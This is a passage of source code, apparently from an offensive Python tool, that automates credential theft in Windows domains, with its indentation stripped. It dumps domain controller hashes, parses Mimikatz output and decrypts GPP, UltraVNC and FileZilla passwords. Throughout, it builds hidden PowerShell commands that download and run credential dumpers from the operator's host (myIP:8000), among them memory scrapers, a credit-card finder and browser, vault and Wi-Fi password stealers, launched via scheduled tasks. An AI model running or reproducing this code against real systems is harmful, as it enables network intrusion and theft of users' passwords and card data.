filePath="C:\\windows\\temp\\"+mimikatzOutputFilename+".txt"
tmpFilename=downloadFile(targetIP,domain,username,password,filePath)
if len(tmpFilename)>0:
if os.path.exists(tmpFilename):
tmpFilename1=convertWinToLinux(tmpFilename)
lines = str(open(tmpFilename1, 'r').read())
tmpPasswordList=parseMimikatzOutput(lines)
if len(tmpPasswordList)>0:
addPasswords(tmpPasswordList)
print "\nTesting Credentials"
for y in tmpPasswordList:
tmpdomain=y[0]
tmpusername=y[1]
tmppassword=y[2]
tmpLoginOK,tmpAdminOK=testDomainCredentials(tmpusername,tmppassword,passwordHash,dcList[0],tmpdomain)
if tmpAdminOK==True:
if y not in daPassList:
daPassList.append(y)
print (setColor("\nDumping Hashes from Domain Controller: "+ip, bold, color="green"))
tmpHashList=dumpDCHashes(dcList[0],tmpdomain,tmpusername,tmppassword)
if len(tmpHashList)>0:
addHashes(tmpHashList)
analyzeHashes(tmpHashList)
dcCompromised=True
for tmpDCip in dcList:
if tmpDCip in uncompromisedHostList:
uncompromisedHostList.remove(tmpDCip)
waitForPSComplete=True
else:
print "[*] Sleeping for 10 seconds"
time.sleep(10)
#if len(tmpPasswordList)>0:
# tmpdomain=y[0]
# tmpusername=y[1]
# tmppassword=y[2]
# tmpHashList=(dcList[0],tmpusername,tmppassword,passwordHash)
# print (setColor("\nDumping Plaintext Credentials from Domain Controller: "+ip, bold, color="red"))
# runMimikatz(ip,domain,username,password,passwordHash)
def generateRandomStr():
chars = string.letters + string.digits
pwdSize = 20
return ''.join((random.choice(chars)) for x in range(pwdSize))
def listUsers(targetIP,domain,username,password,passwordHash):
command='dir.exe C:\Users /b /ad'
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
tmpResultList=results.split("\n")
tmpResultList1=[]
for x in tmpResultList:
x=x.strip()
if "File Not Found"!=x and "All Users"!=x and "Default"!=x and "Default User"!=x and "Public"!=x:
if len(x)>0:
tmpResultList1.append(x)
return tmpResultList1
def listProcesses(targetIP,domain,username,password):
#command=powershellCmdStart+" -Command \"get-process | select name | sort name\""
command=powershellCmdStart+" -Command \"get-process | select name\""
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
tmpResultList1=[]
found=False
tmpResultList=results.split("\n")
for x in tmpResultList:
x=x.strip()
if found==True:
#if x not in tmpResultList1:
tmpResultList1.append(x)
if x=="----" :
found=True
return tmpResultList1
def memCredDump(targetIP,domain,username,password,passwordHash,processName):
command=powershellCmdStart+' -Command "(New-Object Net.WebClient).DownloadFile(\'http://"+myIP+":8000/mem_scraper.ps1\',\'C:\windows\\temp\mem_scraper.ps1\');c:\windows\\temp\mem_scraper.ps1 -Proc '+processName+' -NumsOnly -Logging;"'
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
tmpResultList=results.split("\n")
return tmpResultList
def diskCredDump(targetIP,domain,username,password,passwordHash):
command=powershellCmdStart+' -Command "(New-Object Net.WebClient).DownloadFile(\'http://"+myIP+":8000/credit-card-finder.ps1\’,\'%temp%\credit-card-finder.ps1\');%temp%\credit-card-finder.ps1 -path c:\\\\"'
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
tmpResultList=results.split("\n")
return tmpResultList
def listRemoteShare(targetIP,domain, username, password):
tmpList = []
deniedList = []
allowedList = []
conn = SMBConnection1(username,password,client_machine_name,targetIP,domain=domain,use_ntlm_v2=True,is_direct_tcp=True)
connected = conn.connect(targetIP, 445)
folderDepth=3
try:
shares = conn.listShares()
for x in shares:
try:
shareName = x.name
if shareName != 'ADMIN$':
count=0
subDirectory=""
subDirectoryList=[]
tmpsubDirectoryList=[]
while count<int(folderDepth):
if count==0:
sharedfiles = conn.listPath(shareName, '/'+subDirectory)
for y in sharedfiles:
if y.filename != '.' and y.filename != '..' and y.isDirectory==True and y.filename!='Windows' and y.filename!='Boot' and y.filename!='Public':
#if y.filename != '.' and y.filename != '..' and y.isDirectory==True:
subDirectoryList.append(y.filename)
try:
sharedfiles1 = conn.listPath(shareName, '/'+y.filename)
#names = conn.listPath(shareName, '/' + y.filename)
if [targetIP, username, password,shareName + '/' + y.filename] not in allowedList:
allowedList.append([targetIP,username, password, shareName + '/' + y.filename])
except:
if [targetIP, username, password, shareName + '/' + y.filename] not in deniedList:
deniedList.append([targetIP, username, password, shareName + '/' + y.filename])
else:
tmpsubDirectoryList = subDirectoryList
subDirectoryList=[]
for z in tmpsubDirectoryList:
try:
if not z.startswith("/"):
sharedfiles = conn.listPath(shareName, '/'+z)
else:
sharedfiles = conn.listPath(shareName, z)
for g in sharedfiles:
#print g.filename
if g.filename != '.' and g.filename != '..' and g.isDirectory==True:
subDirectoryList.append(z+"/"+g.filename)
#subDirectoryList.append("/"+z+"/"+g.filename)
try:
sharedfiles1 = conn.listPath(shareName, '/'+ z + "/" + g.filename)
if [targetIP, username, password,shareName + '/' + z + "/" + g.filename] not in allowedList:
allowedList.append([targetIP,username, password, shareName + '/' + z + "/" + g.filename])
except:
if [targetIP, username, password, shareName + '/' + z + "/" + g.filename] not in deniedList:
deniedList.append([targetIP, username, password, shareName + '/' + z + "/" + g.filename])
except Exception as e:
continue
count+=1
except Exception as e:
continue
except Exception as e:
if "Failed to list shares: Unable to connect to IPC$" in e:
print "[Error] Failed to list shares: Unable to connect to IPC$"
else:
print e
pass
return (allowedList, deniedList)
def getInstalledPrograms(targetIP,domain,username,password,passwordHash):
osArch64=getPowershellVersion(ip,domain,username,password,passwordHash)
powershellPath=getPowershellPath(osArch64)
powershellArgs=' -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass '
command=powershellPath+" "+powershellArgs+" -command \"(Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion | Format-Table –AutoSize)\""
if verbose==True:
print command
passwordHash=None
results=runWMIEXEC(targetIP,domain,username,password,passwordHash,command)
tmpResultList1=[]
if "FullyQualifiedErrorId" not in str(results):
count=0
tmpResultList=results.split("\n")
for x in tmpResultList:
x=x.strip()
if count>2 and len(x)>0:
tmpResultList1.append([targetIP,x])
count+=1
return tmpResultList1
else:
return []
def readRemoteRegistry(targetIP,domain,username,password,passwordHash,keyPath,selectedKey):
regHandler = RegHandler(targetIP,domain,username,password,passwordHash,keyPath,selectedKey)
try:
(results, status) = regHandler.run(targetIP, targetIP)
if 'ERROR_FILE_NOT_FOUND' in results:
if passwordHash != None:
tmpRegResultList2.append([targetIP,'Missing Key',username,passwordHash,keyPath + '\\' + selectedKey,None])
else:
tmpRegResultList2.append([targetIP,'Missing Key',username,password,keyPath + '\\' + selectedKey,None])
if 'Invalid root key HKCU' in results:
tmpRegResultList2.append([targetIP, 'Missing Key', keyPath + '\\' + selectedKey, None])
if status == True:
return results
except Exception, e:
print e
pass
def downloadFile(targetIP,domain,username,password,filePath):
tmpFilePath=filePath.split(":\\")
shareName=tmpFilePath[0]+"$"
filePath=tmpFilePath[1]
filePath=filePath.replace("\\","/")
if not filePath.startswith("/"):
filePath="/"+filePath
try:
conn = SMBConnection1(username,password,client_machine_name,targetIP,domain=domain,use_ntlm_v2=True,is_direct_tcp=True)
connected = conn.connect(targetIP, 445)
if connected == True:
try:
file_obj = tempfile.NamedTemporaryFile(delete=False)
tempFilename = tempfile.NamedTemporaryFile(dir='.').name
tempFilename=targetIP+"_"+tmpFilePath[0]+"_"+filePath.replace("/","_")
file_obj = open(tempFilename, 'w')
(file_attributes, filesize) = conn.retrieveFile(shareName,filePath, file_obj)
file_obj.close()
return tempFilename
except Exception as e:
#print e
return ""
except:
return ""
def parseSiteManagerXML(filename):
#Sample https://raw.githubusercontent.com/synzox/dotfiles/master/.filezilla/sitemanager.xml
resultList = []
with open(filename, 'r') as myfile:
data = myfile.read().replace('\n', '')
result = xmltodict.parse(data)
if isinstance(result['FileZilla3']['Servers'],dict)==True:
tmphostNo=""
tmpportNo=""
tmpusername=""
tmppassword=""
for k1, v1 in result['FileZilla3']['Servers'].iteritems():
if k1=='Server':
if isinstance(v1,list):
for x in v1:
if isinstance(x,dict):
tmphostNo=x['Host']
tmpportNo=x['Port']
try:
tmpusername=x['User']
except KeyError:
tmpusername=""
try:
tmppassword=x['Pass']
except KeyError:
tmppassword=""
try:
tmpdecodedPassword=base64.b64decode(tmppassword)
except TypeError:
tmpdecodedPassword=tmppassword
if len(tmpusername)>0 and len(tmpdecodedPassword)>0:
resultList.append([tmphostNo+":"+tmpportNo, tmpusername, tmpdecodedPassword])
return resultList
def decryptUltraVNC(hashPassword):
try:
hashPassword = binascii.unhexlify(hashPassword)
desKey = "\xE8\x4A\xD6\x60\xC4\x72\x1A\xE0"
obj = Crypto.Cipher.DES.new(desKey, Crypto.Cipher.DES.MODE_ECB)
decrypt = obj.decrypt(hashPassword)
decrypt=decrypt.replace("\x00","")
return decrypt
except Exception, e:
print e
def parseUltraVNC(filename):
#Sample https://raw.githubusercontent.com/justdan96/VNCappWrapper/master/ultravnc.ini
#Decrypt tool http://tools88.com/safe/vnc.php
resultList = []
passwd1 = ''
passwd2 = ''
with open(filename, 'r') as myfile:
data = myfile.read().splitlines()
for row in data:
tmpRow = row.strip()
if 'passwd' in row.strip().lower():
passwd1 = tmpRow.split('=')[1].strip()
if 'passwd2' in row.strip().lower():
passwd2 = tmpRow.split('=')[1].strip()
if len(passwd1) > 0 or len(passwd2) > 0:
passwd1 = decryptUltraVNC(passwd1[0:16])
passwd2 = decryptUltraVNC(passwd2[0:16])
resultList.append([passwd1, passwd2])
return resultList
def parseUnattendXML(filename):
#Sample http://www.itninja.com/question/how-do-i-add-a-custom-local-administrator-account-through-sysprep
tmpUserList=[]
resultList = []
try:
with open(filename, 'r') as myfile:
data = myfile.read().replace('\n', '')
result = xmltodict.parse(data)
if isinstance(result['unattend']['settings'],list)==True:
for y in result['unattend']['settings']:
if isinstance(y,dict)==True:
for k1, v1 in y.iteritems():
if k1=='component':
if isinstance(v1,list)==True:
for z in v1:
for key, value in z.iteritems():
if key=='UserAccounts':
for k, v in value.iteritems():
if k=='AdministratorPassword':
tmpUsername='Administrator'
tmpPassword=v['Value']
if [tmpUsername,tmpPassword] not in tmpUserList:
tmpUserList.append([tmpUsername,tmpPassword])
if k=='LocalAccounts':
tmpUsername=v['LocalAccount']['DisplayName']
tmpPassword=v['LocalAccount']['Password']['Value']
if [tmpUsername,tmpPassword] not in tmpUserList:
tmpUserList.append([tmpUsername,tmpPassword])
else:
for key, value in result['unattend']['settings'].iteritems():
if key=='component':
if isinstance(value,list)==True:
for x in value:
for k1, v1 in x.iteritems():
if k1=='WindowsDeploymentServices':
for k2, v2 in v1.iteritems():
if k2=='Login':
tmpUsername=v2['Credentials']['Username']
tmpPassword=v2['Credentials']['Password']
if [tmpUsername,tmpPassword] not in tmpUserList:
tmpUserList.append([tmpUsername,tmpPassword])
except:
print "Error parsing unattend.xml file"
return tmpUserList
def decryptGPP(cpassword):
#https://raw.githubusercontent.com/reider-roque/pentest-tools/master/password-cracking/gpprefdecrypt/gpprefdecrypt.py
# Key from MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
key = ("4e9906e8fcb66cc9faf49310620ffee8"
"f496e806cc057990209b09a433b66c1b").decode('hex')
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = base64.b64decode(cpassword)
# Decrypt the password
iv = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
o = AES.new(key, AES.MODE_CBC, iv).decrypt(password)
return o[:-ord(o[-1])].decode('utf16')
def getOSType():
import platform
return platform.system()
def mountSysvol(username,password):
#Sample cpassword=j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
tmpPassList=[]
randomFoldername=generateRandomStr()
cmd = "mkdir /tmp/"+randomFoldername
resultList = runCommand(cmd, shell = True, timeout = 15)
cmd = "umount /tmp/"+randomFoldername
resultList = runCommand(cmd, shell = True, timeout = 15)
if getOSType()=="Darwin":
cmd = "mount_smbfs //"+username+":'"+password+"'@"+dcList[0]+"/sysvol /tmp/"+randomFoldername
if getOSType()=="Linux":
cmd = "mount -t cifs //"+dcList[0]+"/sysvol /tmp/"+randomFoldername+" -o username="+username+",password="+password
resultList = runCommand(cmd, shell = True, timeout = 15)
cmd = "grep -lir cpassword /tmp/"+randomFoldername
resultList = runCommand(cmd, shell = True, timeout = 60)
if len(resultList[1])>0:
tmpList=[]
fileList=resultList[1].split("\n")
tmpPassList=[]
if len(fileList)>0:
print (setColor("[+]", bold, color="green"))+" Credentials found in SYSVOL folder"
for x in fileList:
x=x.strip()
if len(x)>0:
if len(x.strip())>0:
with open(x, 'r') as myfile:
username=""
password=""
content=myfile.read().replace('\n', '')
m = re.search('userName="(\S*)"', content)
if m:
username = m.group(1)
m = re.search('cpassword="(\S*)"', content)
if m:
password = m.group(1)
print "[*] Base64 Password Found: "+password
password=decryptGPP(password)
if len(username)>0 and len(password)>0:
username = username.lower()
if [username,password] not in tmpPassList:
tmpPassList.append([username,password])
if len(tmpPassList)>0:
print (setColor("[+]", bold, color="green"))+" Decrypted GPP Password"
headers = ["Username","Password"]
print tabulate(tmpPassList,headers,tablefmt="simple")
if len(tmpPassList)>0:
print "\nTesting Credentials"
for x in tmpPassList:
tmpusername=x[0]
tmppassword=x[1]
for dc in dcList:
passwordHash=None
tmpLoginOK,tmpAdminOK=testDomainCredentials(username,password,passwordHash,dc,domain)
if tmpAdminOK==True:
if tmpusername in domainAdminList:
print "User: '"+tmpusername+"' is a 'Domain Admin'"
if dcCompromised==False:
print (setColor("\nDumping Hashes from Domain Controller: "+ip, bold, color="green"))
tmpHashList=dumpDCHashes(ip,domain,username,password)
if len(tmpHashList)>0:
addHashes(tmpHashList)
if ip in uncompromisedHostList:
uncompromisedHostList.remove(ip)
analyzeHashes(tmpHashList)
print (setColor("\nDumping Plaintext Credentials from Domain Controller: "+ip, bold, color="red"))
tmpPasswordList=runMimikatz(ip,domain,username,password,passwordHash)
for y in tmpPasswordList:
if y not in userPassList:
userPassList.append(y)
else:
print "User: '"+tmpusername+"' is not a 'Domain Admin'"
else:
print "No credentials found"
cmd = "umount /tmp/"+randomFoldername
resultList = runCommand(cmd, shell = True, timeout = 15)
return tmpPassList
def findInterestingFiles(targetIP,domain,username,password,passwordHash):
findFileList=[]
findFileList.append('httpd.conf')
findFileList.append('ultravnc.ini')
findFileList.append('unattend.xml')
findFileList.append('sysprep.xml')
findFileList.append('sitemanager.xml')
findFileList.append('recentservers.xml')
findFileList.append('web.config')
findFileList.append('*.kdbx')
findFileList.append('*.kdb')
findFileList.append('*password*.txt')
findFileList.append('*password*.xls')
findFileList.append('*password*.xlsx')
findFileList.append('*password*.doc')
findFileList.append('*password*.docx')
findFileList.append('*password*.pdf')
searchKeywords="$searchKeywords=@("
for x in findFileList:
searchKeywords+="'"+x+"',"
searchKeywords=searchKeywords[0:-1]+")"
tmpDriveList=[]
print "[*] Enumerating Drives on Host: "+targetIP
command=powershellCmdStart+' -command "get-psdrive -psprovider filesystem | Select Name"'
if verbose==True:
print command
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
tmpResultList=results.split("\n")
count=0
for x in tmpResultList:
x=x.strip()
if len(x)>0:
if count>1:
tmpDriveList.append(x)
count+=1
tmpFileList=[]
if len(tmpDriveList)>0:
print "[*] Drives found on Host: "+targetIP
tmpDriveList1=[]
for x in tmpDriveList:
tmpDriveList1.append(x+"$")
print ", ".join(tmpDriveList1)
print "[*] Finding Files on Host: "+targetIP
for drive in tmpDriveList:
command=powershellCmdStart+' -command '+searchKeywords+'; Get-ChildItem -Path "'+drive+':\" -Recurse -Include "$searchKeywords" -Name'
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
if "Cannot find path" not in str(results):
tmpResultList=results.split("\n")
for x in tmpResultList:
if len(x)>0:
filename=drive+":\\"+x
if drive+":\\Windows" not in filename:
if filename not in tmpFileList:
tmpFileList.append(filename)
print (setColor("[+]", bold, color="green"))+" List of Interesting Files Found"
for filename in tmpFileList:
print filename
#results=runPSEXEC(targetIP, domain, username, password, passwordHash, command)
return tmpFileList
def findInterestingRegKeys(targetIP,domain,username,password,passwordHash):
interestingRegList = []
interestingRegList.append(['HKLM\\SOFTWARE\\RealVNC\\WinVNC4','Password'])
interestingRegList.append(['HKCU\\Software\\ORL\\WinVNC3', 'Password'])
interestingRegList.append(['HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon', 'DefaultUsername'])
interestingRegList.append(['HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon', 'DefaultPassword'])
interestingRegList.append(['HKLM\SYSTEM\ControlSet\services\SNMP\Parameters\ValidCommunities', ''])
interestingRegList.append(['HKU\\Software\\SimonTatham\\Putty\\Sessions', ''])
for x in interestingRegList:
keyPath = x[0]
selectedKey = x[1]
results = readRemoteRegistry(targetIP,domain,username,password,passwordHash,keyPath,selectedKey)
if results != None:
if 'Putty' in x[0]:
for y in results:
keyPath1 = keyPath + '\\' + y
selectedKey = 'ProxyPassword'
results = readRemoteRegistry(targetIP,domain,username,password,passwordHash,keyPath1,selectedKey)
if results != None:
if passwordHash != None:
tmpRegResultList1.append([targetIP,keyPath1 + '\\' + selectedKey,results])
else:
tmpRegResultList1.append([targetIP,keyPath1 + '\\' + selectedKey,results,])
else:
if passwordHash != None:
tmpRegResultList1.append([targetIP,keyPath + '\\' + selectedKey,results])
else:
tmpRegResultList1.append([targetIP,keyPath + '\\' + selectedKey,results])
return tmpRegResultList1
def runDumpMSSQL(targetIP,domain,username,password,passwordHash):
#https://github.com/NetSPI/PowerUpSQL
print setColor('\nDumping MSSQL Service Credentials', bold, color='red')
tmpPasswordList=[]
command="-Command (New-Object Net.WebClient).DownloadFile(\'http://"+myIP+":8000/PowerUpSQL.psd1\','C:\windows\\temp\PowerUpSQL.psd1'); (New-Object Net.WebClient).DownloadFile(\'http://"+myIP+":8000/PowerUpSQL.ps1\','C:\windows\\temp\PowerUpSQL.ps1'); (New-Object Net.WebClient).DownloadFile(\'http://"+myIP+":8000/PowerUpSQL.psm1\','C:\windows\\temp\PowerUpSQL.psm1'); (New-Object Net.WebClient).DownloadFile(\'http://"+myIP+":8000/Inveigh.ps1\','c:\windows\\temp\Inveigh.ps1'); (New-Object Net.WebClient).DownloadFile(\'http://"+myIP+":8000/Inveigh.ps1\Get-SQLServiceAccountPwHash3.ps1\','c:\windows\\temp\Get-SQLServiceAccountPwHash3.ps1'); Import-Module C:\windows\\temp\PowerUpSQL.psm1; Import-Module C:\windows\\temp\Inveigh.ps1; Import-Module C:\windows\\temp\Get-SQLServiceAccountPwHashes.ps1; Get-SQLServiceAccountPwHashes -Verbose -TimeOut 5 -CaptureIp "+targetIP
#print powershellCmdStart+command
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, powershellCmdStart+command)
tmpResultList=results.split("\n")
found1=False
found2=False
tmpHashList=[]
for x in tmpResultList:
if found2==True:
x=x.strip()
if x not in tmpHashList:
tmpHashList.append(x)
if 'Final List of Captured password hashes:' in x:
found1=True
if found1==True:
if '---------------------------------------' in x:
found2=True
if len(tmpHashList)<1:
print "No credentials captured"
return tmpHashList
def runDumpVault(targetIP,domain,username,password,passwordHash):
tmpResultList=[]
tmpPasswordList=[]
osArch64=getPowershellVersion(ip,domain,username,password,passwordHash)
powershellPath=getPowershellPath(osArch64)
powershellArgs=' -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass '
command=powershellPath+" "+powershellArgs+" \"IEX (New-Object Net.WebClient).DownloadString(\'http://"+myIP+":8000/Get-VaultCredential.ps1\'); Get-VaultCredential\""
if verbose==True:
print command
results=runPSEXEC(targetIP, domain, username, password, passwordHash, powershellCmdStart+command)
tmpResultList=results.split("\n")
return tmpResultList
def dumpWifi(targetIP,domain,username,password,passwordHash):
#netsh wlan add profile filename="wlan.xml" interface="Wireless Network Connection" user=current
#https://gist.github.com/milo2012/7ba74a4451f19a96078597d1f5b85dad/raw/85d9f2364116f99db78bf6993df2d42e106b5baf/wirelessProfile.xml
'''
<?xml version="1.0" encoding="US-ASCII"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>SampleWPAPSK</name>
<SSIDConfig>
<SSID>
<name>SampleWPAPSK</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<autoSwitch>false</autoSwitch>
<MSM>
<security>
<authEncryption>
<authentication>WPAPSK</authentication>
<encryption>TKIP</encryption>
<useOneX>false</useOneX>
</authEncryption>
</security>
</MSM>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial> <!-- insert key here --> </keyMaterial>
</sharedKey>
</WLANProfile>
'''
domain=domain.strip()
results=[]
tempFilename = tempfile.NamedTemporaryFile(dir='.').name
tempFilename += '.ps1'
tempFilename = tempFilename.replace(os.getcwd() + '/', '')
osArch64=getPowershellVersion(ip,domain,username,password,passwordHash)
powershellPath=getPowershellPath(osArch64)
powershellArgs=' -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass '
command=powershellPath+" "+powershellArgs+" IEX \"(New-Object Net.WebClient).DownloadString(\'http://"+myIP+":8000/WiFi-Password.psm1\'); Show-WiFiPassword\""
if verbose==True:
print command
if len(domain)<1:
domain="WORKGROUP"
results=runPSEXEC(targetIP, domain, username, password, passwordHash, command)
resultList=results.split("\n")
tmpResultList=[]
tmpSSID=''
tmpPassword=''
tmpAuthType=''
for x in resultList:
if "SSID :" in x:
x=(x.replace("SSID :","")).strip()
if len(x)>0:
tmpSSID=x
if "Password :" in x:
x=(x.replace("Password :","")).strip()
if len(x)>0:
tmpPassword=x
if "Auth type :" in x:
x=(x.replace("Auth type :","")).strip()
if len(x)>0:
tmpAuthType=x
if len(tmpSSID)>0:
tmpResultList.append([tmpSSID,tmpPassword,tmpAuthType])
return tmpResultList
def dumpBrowser(targetIP,domain,username,password,passwordHash):
#schtasks.exe /Delete /TN test1 /f
#schtasks.exe /Create /RL HIGHEST /RU corp\milo /TN test1 /SC MONTHLY /M DEC /TR 'C:\temp\chrome.bat'
#schtasks /Run /TN test1
#C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -Sta -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://172.16.126.168:8000/BrowserGather.ps1'); Get-ChromeCreds | Out-File C:\\temp\\chrome.txt“
tmpPasswordList=[]
print "\n[*] Checking Installed Browsers on Host: "+targetIP
appList=getInstalledPrograms(targetIP,domain,username,password,passwordHash)
for appName in appList:
if "Google Chrome" in str(appName):
print "Google Chrome"
if "Mozilla" in str(appName):
print "Mozilla Firefox"
print "\n"
tmpFound=False
tmpBrowserList=[]
for appName in appList:
if "Google Chrome" in str(appName) or "Mozilla" in str(appName):
if "Google Chrome" in str(appName):
tmpBrowserList.append("chrome")
if "Mozilla" in str(appName):
tmpBrowserList.append("firefox")
tmpFound=True
if tmpFound==False:
print "Google Chrome and Mozilla Firefox Browsers Not Found on Host: "+targetIP
if tmpFound==True:
print "[*] Checking Currently Logged On Users on Host: "+targetIP
osArch64=getPowershellVersion(ip,domain,username,password,passwordHash)
powershellPath=getPowershellPath(osArch64)
powershellArgs=' -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass '
command=' -Command "Get-WMIObject -class Win32_ComputerSystem | select username"'
command=powershellPath+" "+powershellArgs+command
if verbose==True:
print command
if len(password)>0:
passwordHash=None
results=runPSEXEC(targetIP, domain, username, password, passwordHash, command)
tmpResultList=results.split("\n")
foundStart=False
loggedInUsersList=[]
for x in tmpResultList:
x=x.strip()
if len(x)>0:
if foundStart==True:
if x not in loggedInUsersList:
loggedInUsersList.append(x)
print x
if '--------' in x:
foundStart=True
tmpFoundAccounts=[]
for x in loggedInUsersList:
if "\\" in x:
tmpdomain=(x.split("\\")[0]).lower()
tmpusername=(x.split("\\")[1]).lower()
for y in userPassList:
tmpdomain1=(y[0]).lower()
tmpusername1=(y[1]).lower()
if tmpdomain in tmpdomain1 and tmpusername==tmpusername1:
tmpFoundAccounts.append(y)
else:
tmpusername=x
for y in userPassList:
tmpdomain1=(y[0]).lower()
tmpusername1=(y[2]).lower()
if x==tmpusername1:
tmpFoundAccounts.append(y)
if len(tmpFoundAccounts)>0:
for x in tmpFoundAccounts:
tmpdomain=x[0]
tmpusername=x[1]
tmppassword=x[2]
#print "[*] Found the Below Credentials in Database"
#print tabulate(tmpFoundAccounts)
if "firefox" in tmpBrowserList:
print "\n[*] Dumping Firefox Passwords from Host: "+targetIP
print "[*] Uploading Script to Host: "+targetIP
outputFilename=generateRandomStr()+".txt"
batFilename=generateRandomStr()+".bat"
tmpSchedName=generateRandomStr()
#s='IEX (New-Object Net.WebClient).DownloadString(\'http://'+myIP+':8000/BrowserGather.ps1\'); Get-ChromeCreds | Out-File C:\\windows\\temp\\'+outputFilename
s='IEX (New-Object Net.WebClient).DownloadString(\'http://'+myIP+':8000/Get-FoxDump.ps1\'); Get-FoxDump -OutFile C:\\temp\\'+outputFilename
encodedPS=powershell_encode(s)
cmd = "C:\windows\sysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass -ec "+encodedPS
target = open(batFilename, 'w')
target.write(cmd)
target.close()
uploadFile(batFilename,batFilename,targetIP, domain, username, password, passwordHash)
print "[*] Scheduling Tasks on Host: "+targetIP
command='schtasks.exe /Delete /TN '+tmpSchedName+' /f'
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
command='schtasks.exe /Create /RL HIGHEST /RU '+tmpdomain+'\\'+tmpusername+' /TN '+tmpSchedName+' /SC MONTHLY /M DEC /TR "'"C:\\windows\\temp\\"+batFilename+"\""
if verbose==True:
print command
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
if "ERROR" in str(results):
print results
else:
print "[*] Running Tasks on Host: "+targetIP
command='schtasks /Run /TN '+tmpSchedName
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
checkComplete=False
while checkComplete==False:
command='schtasks /Query /TN '+tmpSchedName
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
tmpResultList=results.split("\n")
for x in tmpResultList:
if tmpSchedName in x:
if "Ready" in x or "Running" in x:
if "Ready" in x:
print "[*] Removing Tasks from Host: "+targetIP
command='schtasks.exe /Delete /TN '+tmpSchedName+' /f'
runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
checkComplete=True
if "Running" in x:
time.sleep(10)
filename="C:\\temp\\"+outputFilename
'''
tmpFilename=(downloadFile(targetIP,domain,username,password,filename))
tmpFilename1=convertWinToLinux(tmpFilename)
with open(tmpFilename1) as f:
content = f.readlines()
tmpFound=False
for y in content:
if tmpFound==True:
tmpList1=y.split(" ")
tmpPass=''
tmpUrl=''
tmpCount=0
for z in tmpList1:
if len(z)>0:
if tmpCount==0:
tmpPass=z
else:
tmpUrl=z
tmpCount+=1
tmpPasswordList.append([tmpPass,tmpUrl])
if "--------" in y:
tmpFound=True
'''
if "chrome" in tmpBrowserList:
print "\n[*] Dumping Chrome Passwords from Host: "+targetIP
print "[*] Uploading Script to Host: "+targetIP
outputFilename=generateRandomStr()+".txt"
batFilename=generateRandomStr()+".bat"
tmpSchedName=generateRandomStr()
#s='IEX (New-Object Net.WebClient).DownloadString(\'http://'+myIP+':8000/BrowserGather.ps1\'); Get-ChromeCreds | Out-File C:\\windows\\temp\\'+outputFilename
s='IEX (New-Object Net.WebClient).DownloadString(\'http://'+myIP+':8000/BrowserGather.ps1\'); Get-ChromeCreds | Out-File C:\\temp\\'+outputFilename
encodedPS=powershell_encode(s)
cmd = powershellPath+" -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass -ec "+encodedPS
target = open(batFilename, 'w')
target.write(cmd)
target.close()
uploadFile(batFilename,batFilename,targetIP, domain, username, password, passwordHash)
print "[*] Scheduling Tasks on Host: "+targetIP
command='schtasks.exe /Delete /TN '+tmpSchedName+' /f'
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
command='schtasks.exe /Create /RL HIGHEST /RU '+tmpdomain+'\\'+tmpusername+' /TN '+tmpSchedName+' /SC MONTHLY /M DEC /TR "'"C:\\windows\\temp\\"+batFilename+"\""
if verbose==True:
print command
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
if "ERROR" in str(results):
print results
else:
print "[*] Running Tasks on Host: "+targetIP
command='schtasks /Run /TN '+tmpSchedName
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
checkComplete=False
while checkComplete==False:
command='schtasks /Query /TN '+tmpSchedName
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
tmpResultList=results.split("\n")
for x in tmpResultList:
if tmpSchedName in x:
if "Ready" in x or "Running" in x:
if "Ready" in x:
print "[*] Removing Tasks from Host: "+targetIP
command='schtasks.exe /Delete /TN '+tmpSchedName+' /f'
runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
checkComplete=True
if "Running" in x:
time.sleep(10)
filename="C:\\temp\\"+outputFilename
tmpFilename=(downloadFile(targetIP,domain,username,password,filename))
with open(tmpFilename) as f:
lines = f.read().splitlines()
for z in lines:
print z
os.remove(batFilename)
else:
print "[*] No matching credentials found in database"
return tmpPasswordList
def dumpIIS(targetIP,domain,username,password,passwordHash):
print "Running Get-Webconfig.ps1 and Get-ApplicationHost.ps1"
tmpResultList=[]
tmpPasswordList=[]
found=False
cmdList=[]
osArch64=getPowershellVersion(ip,domain,username,password,passwordHash)
powershellPath=getPowershellPath(osArch64)
